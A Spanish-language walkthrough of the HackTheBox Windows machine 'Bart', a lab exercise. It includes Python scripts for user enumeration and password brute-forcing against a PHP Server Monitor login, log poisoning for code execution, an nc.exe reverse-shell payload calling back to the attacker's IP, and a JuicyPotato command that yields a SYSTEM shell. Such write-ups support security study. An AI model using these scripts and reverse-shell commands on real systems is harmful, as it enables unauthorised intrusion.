Bart HTB - WriteUp
En el día de hoy estaremos resolviendo la máquina Bart de HackTheBox. Es una máquina Windows y su dirección IP es 10.10.10.81.
Índice
- Ennumeración Inicial
- Enumeración de usuarios
- Fuerza Bruta Login
- Registrar un usuario
- LogPoison
- Privesc
Enumeración Inicial
Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.
# Nmap 7.91 scan initiated Sat Feb 18 17:49:04 2023 as: nmap -sC -sV -Pn -n -oN Extraction -p80 10.10.10.81
Nmap scan report for 10.10.10.81
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 18 17:49:13 2023 -- 1 IP address (1 host up) scanned in 8.86 seconds
Simplemente tiene el puerto 80. Si nos fijamos, la web nos hace una redirección a http://forum.bart.htb/ si probamos entrar desde el navegador, vemos que es verdad. Se esta usando VirtualHosting, lo que haremos será añadir el nombre al /etc/hosts.
Además usaré gobuster para ver si hay más subdominios disponibles.
❯ gobuster vhost -t 50 -u 'http://bart.htb/' -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bart.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/28 08:19:54 Starting gobuster in VHOST enumeration mode
===============================================================
Found: forum.bart.htb (Status: 200) [Size: 35529]
Found: monitor.bart.htb (Status: 200) [Size: 3423]
Podemos ver otro subdominio “monitor.bart.htb”, lo meteré en el /etc/hosts. Si empezamos a enumerar el contenido web de “forum.bart.htb” podemos darnos cuenta de que es una página toltamente estática. Si miramos el código fuente hay un trozo de código HTML comentado.
<div class="owl-item" style="width: 380px;"><div class="team-item">
<div class="team-inner">
<div class="pop-overlay">
<div class="team-pop">
<div class="team-info">
<div class="name">Harvey Potter</div>
<div class="pos">Developer@BART</div>
<ul class="team-social">
<li><a class="facebook" href="#" target="_blank"><i class="fa">F</i></a></li>
<li><a class="twitter" href="#" target="_blank"><i class="fa">T</i></a></li>
<li><a class="google" href="#" target="_blank"><i class="fa">G</i></a></li>
<li><a class="mail" href="mailto:h.potter@bart.htb" target="_blank"><i class="fa">M</i></a></li>
</ul>
</div>
</div>
</div>
<div class="avatar">
<img src="webste/1_002.jpg" class="attachment-sydney-medium-thumb size-sydney-medium-thumb wp-post-image" alt="" sizes="(max-width: 400px) 100vw, 400px" width="400" height="400"> </div>
</div>
<div class="team-content">
<div class="name">
Harvey Potter </div>
<div class="pos">Developer@BART</div>
</div>
</div></div>-->
Enumeración de usuarios
Hay varios div que contienen información sobre usuarios, me he guardado los nombres, los apellidos y la primera parte del correo en un archivo.
samantha
brown
s.brown
daniel
simmons
d.simmons
robert
hilton
r.hilton
harvey
potter
h.potter
jane
doe
Después de enumerar directorios y no econtrar nada… Pasé al subdominio “monitor”. El subdominio tenía alojado un PHP Server Monitor.
PHP Server Monitor es una herramienta de monitoreo de frontend web de código abierto escrita en PHP, que puede verificar si sus servidores (IP, dominios) o servicios están en funcionamiento y puede enviarle notificaciones a través de servicios de correo o SMS. si ocurrió un problema en un servicio o puerto monitoreado.
En concreto estaba corriendo la versión 3.2.1
❯ curl -s "http://monitor.bart.htb/" | grep "PHP Server" | html2text
Powered by PHP_Server_Monitor_v3.2.1.
La web nos permite iniciar sesión y recurperar nuestra contraseña… No tenemos contraseñas y tampoco sabemos si nuestros usuarios son validos. Podemos aprovecharnos de la función de “Forgot Password” para enumerar usuarios. Para ello hicé un pequeño script en python.
import signal,requests,sys,time
from pwn import *
from bs4 import BeautifulSoup
proxies={"http":"http://127.0.0.1:8080"}
url="http://monitor.bart.htb/index.php"
forgot="http://monitor.bart.htb/?action=forgot"
def handler(sig,frame):
print ("\n[!] Saliendo...")
sys.exit(1)
signal.signal(signal.SIGINT,handler)
def bruteforce():
s = requests.Session()
r=s.get(url)
response=r.text
soup = BeautifulSoup(response, "html.parser")
csrf=soup.find("input",{"name":"csrf"})['value']
p1=log.progress('Enumerando usuarios: ')
with open("users.txt") as dicc:
for char in dicc:
data = {
"csrf":csrf,
"user_name":"%s" % char.rstrip(),
}
r2=s.post(url=forgot,data=data,proxies=proxies)
p1.status(str(data))
if "not be found" in r2.text:
pass
else:
print ("Usuario {} Valido".format(char.rstrip()))
if __name__ == '__main__':
bruteforce()
Resultado:
❯ python3 enumerate.py
[▘] Enumerando usuarios: : {'csrf': '72bb4fbc7cee7d4694e7de5a4f73368e4b802789cb5953801e92d897b45493cc', 'user_name': 'h.potter'}
Usuario daniel Valido
Usuario harvey Valido
Fuerza bruta al panel de login
Ya tenía usuarios validos… Pero no contraseñas, una cosa rápida que podemos hacer antes de probar un diccionario enorme como puede ser rockyou , es crearnos nuestro propio diccionario.
Para eso podemos usar la herramienta cewl. Vamos a generar un diccionario de palabras extraidas de “http://forum.bart.htb/”
❯ cewl -w dicc.txt --with-numbers --lowercase http://forum.bart.htb/
Además también quería palabras normales sin necisidad de que empiecen por minuscula.
❯ cewl http://forum.bart.htb/ >> dicc.txt
Teniendo esto hice un script en python para hacer fuerza bruta sobre los usuarios “daniel” y “harvey”
import signal,requests,sys,time
from pwn import *
from bs4 import BeautifulSoup
proxies={"http":"http://127.0.0.1:8080"}
url="http://monitor.bart.htb/index.php"
users=["harvey","daniel"]
def handler(sig,frame):
print ("\n[!] Saliendo...")
sys.exit(1)
signal.signal(signal.SIGINT,handler)
def bruteforce():
s = requests.Session()
r=s.get(url)
response=r.text
soup = BeautifulSoup(response, "html.parser")
csrf=soup.find("input",{"name":"csrf"})['value']
p1=log.progress('Fuerza bruta, probando contraseña: ')
with open("dicc.txt") as dicc:
for user in users:
for char in dicc:
data = {
"csrf":csrf,
"user_name":"%s" % user,
"user_password":"%s" % char.rstrip(),
"action":"login"
}
r2=s.post(url,data=data,proxies=proxies)
p1.status(str(data))
if "The information is incorrect" in r2.text:
pass
else:
print ("Password {} encontrada".format(char.rstrip()))
break
if __name__ == '__main__':
bruteforce()
El resultado:
❯ python3 bruteforce.py
[↗] Fuerza bruta, probando contraseña: : {'csrf': 'f5b7f2d53dcce6dfb6897ed220ae81d04236323574b3d70339f0b405ea1c13dd', 'user_name': 'harvey', 'user_password': 'amazing', 'action': 'login'}
Password potter encontrada
La contraseña potter para harvey es valida! Ahora podemos autenticarnos en la web. Si vemos los servidores que la herramienta tiene asignados para monitorizar, podemos ver el siguiente: “http://internal-01.bart.htb/” lo añadimos al /etc/hosts
Registrando un nuevo usuario
Si entramos, podemos ver un panel de login… mis credenciales no son validas porque las contraseñas deben tener una longitud minima de 8 caracteres. Mi diccionario teniá algunas contraseñas con 8 caracteres, pero ninguna era valida…
Whatweb me daba la siguiente información de la página.
❯ whatweb http://internal-01.bart.htb/simple_chat/login_form.php
http://internal-01.bart.htb/simple_chat/login_form.php [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.81], Microsoft-IIS[10.0], PHP[7.1.7], PasswordField[passwd], Script[text/javascript], Title[Login Form], X-Powered-By[PHP/7.1.7]
Esta parte se puede resolver de dos maneras… Yo lo hice pensando según los datos que tenia… La otra es analizar el código que esta en github (Si buscas simple_chat en google sale el primero xD). Voy a explicar como lo hice yo…
Lo primero que hice fue hacerle fuzzing a la web para encontrar direcotorios, archivos… etc. Para eso utilicé wfuzz.
No pude filtrar bien (si pruebas con gobuster te filtra), pero consegui extraer lo siguiente:
000000157: 302 0 L 0 W 0 Ch "login - .php"
000000193: 302 0 L 0 W 0 Ch "register - .php"
000001024: 302 2 L 0 W 4 Ch "chat - .php"
000001972: 302 0 L 0 W 0 Ch "Index - .php"
Todo redirigía, si ibas a login.php te mandaba a login_form.php, si ibas a register.php te mandaba a register_form.php… Pero este ultimo mostraba un error, al menos no se mostraba el formulario.
Yo pensé que aun que no se vea el formulario puede que siga fucnionando. Me puse a probar y no sacaba nada porque las pruebas las estaba haciendo sobre register_form.php Además tampoco sabía exactamente los datos que se enviaban por POST.
Me puse a ver como funcionaba el login_form.php y fue ahí cuando me iluminé. Me di cuenta que los datos se estaban mandando a login.php.
Además tambien pensé que se pueden usar los mismos campos… “uname” y “passwd” lo fuí a probar.
❯ curl -X POST -H "Content-Type: application/x-www-form-urlencoded" "http://internal-01.bart.htb/simple_chat/register.php" -d "uname=bly&passwd=Testing123"
No devolvió nada, pero habia tardado mas en responder que pruebas anteriores… Si vamos y probamos…
LogPoison
¡Estamos dentro! Desde aquí podemos escribir mensajes… Lo primero que pense fue en XSS pero si nos fijamos arriba a la derecha podemos ver dos botones:
- Refresh
- Log Refresh te recarga la página y log te muestra un alert con un 1. Intercepté la petición con Burp y se veía así.
¿Está guardando un log? Miré si se guardaba en /log y para mi sorpresa…
Vemos un log que guarda el user agent, viendo la petición de Burp podemos observar que podemos poner el nombre del archivo. Hicé la siguiente petición.
Probamos si el archivo se ha creado.
Tenemos RCE, ahora me quiero establecer una revshell. Para eso me montaré un servidor SMB y accederé a el para llamar al binario de netcat.
❯ impacket-smbserver compartido . -smb2support
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Ahora le pasaremos el siguiente payload a la web para establecernos la revshell. Tienes que estar ya a la escucha.
\\10.10.16.6\compartido\nc.exe -e cmd.exe 10.10.16.6 443
Privesc
Si miramos nuestro listener…
❯ rlwrap nc -lvvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from bart.htb [10.10.10.81] 51199
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot\internal-01\log>
Tenemos una shell! Ahora nos toca escalar privs. Para ello lo primero que hare sera ver que privilegios tiene este usuario.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
C:\inetpub\wwwroot\internal-01\log>
Disponemos del priv “SeImpersonatePrivilege” esto ya está hecho! Podemos aprovecharnos del JuicyPotato.exe para el privesc.
JuicyPotato aprovecha una vulnerabilidad en el servicio de autenticación NTLM para engañar al sistema operativo y obtener privilegios elevados. Esta vulnerabilidad se conoce como la “vulnerabilidad de Potato Over Net-NTLM” y permite a un usuario malintencionado utilizar un proceso legítimo con privilegios elevados para ejecutar comandos con permisos de SYSTEM.
Necesitamos descargarnos el binario de netcat y el JuicyPotato. Yo ya los tengo por aquí (puedes usar el servidor SMB para copiartelos)
JuicyPotato necesita un CLSID.
En Windows, un CLSID (Class ID) es un identificador único de 128 bits que se utiliza para identificar de forma única un objeto COM (Component Object Model) o una interfaz de objeto en un sistema Windows. El CLSID también se utiliza para asociar un objeto COM con una interfaz de objeto específica, que describe cómo se debe comunicar el objeto con otras aplicaciones y sistemas operativos.
En este caso esta herramienta se aprovecha de un CLSID con permisos de SYSTEM para engañar al sistema y ejecutar tareas como SYSTEM. Podemos encontrar los CLSIDs en la siguiente página. https://ohpe.it/juicy-potato/CLSID/
El comando para establecernos una revshell como SYSTEM quedaría así:
JuicyPotato.exe -l 1337 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p c:\windows\system32\cmd.exe -a "/c c:\windows\temp\test\nc.exe -e cmd.exe 10.10.16.6 443" -t *
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
......
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Si miramos nuestro listener…
❯ nc -lvvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from bart.htb [10.10.10.81] 51206
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
Ya hemos pwneado la máquina!